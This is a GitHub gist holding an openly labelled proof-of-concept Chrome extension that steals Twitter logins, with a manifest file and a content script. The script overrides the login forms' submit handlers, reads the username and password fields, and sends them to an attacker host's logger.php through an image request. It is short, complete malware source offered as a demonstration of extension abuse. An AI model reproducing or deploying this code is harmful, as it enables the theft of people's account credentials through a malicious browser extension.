Skip to content

Instantly share code, notes, and snippets.

@skepticfx
Created December 27, 2011 18:44
Show Gist options
  • Select an option

  • Save skepticfx/1524746 to your computer and use it in GitHub Desktop.

Select an option

Save skepticfx/1524746 to your computer and use it in GitHub Desktop.
Google Chrome Extension POC to steal a Twitter Login
{
"name": "Twitter Login Stealer POC",
"version": "1.0",
"description": "Steals the login data from Twitter",
"browser_action": {
"default_title": "Twitter Stealer"
},
"permissions": [""],
"content_scripts": [{
"js": ["steal.js"],
"matches": ["http://www.twitter.com/login"]
}]
}
function doStuff() {
allForms = document.forms;
for (var i in allForms) {
// Extension developer is able to over-ride any objects !
allForms[i].onsubmit = function () {
user = document.getElementsByName('session[username_or_email]')[2].value;
pass = document.getElementsByName('session[password]')[2].value;
data = user + ":" + pass;
new Image().src = "http://www.attacker.com/logger.php?i="+data;
alert("Seems like the twitter plugin is installed");
return true;
};
}
}
window.setTimeout(doStuff, 3000);
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment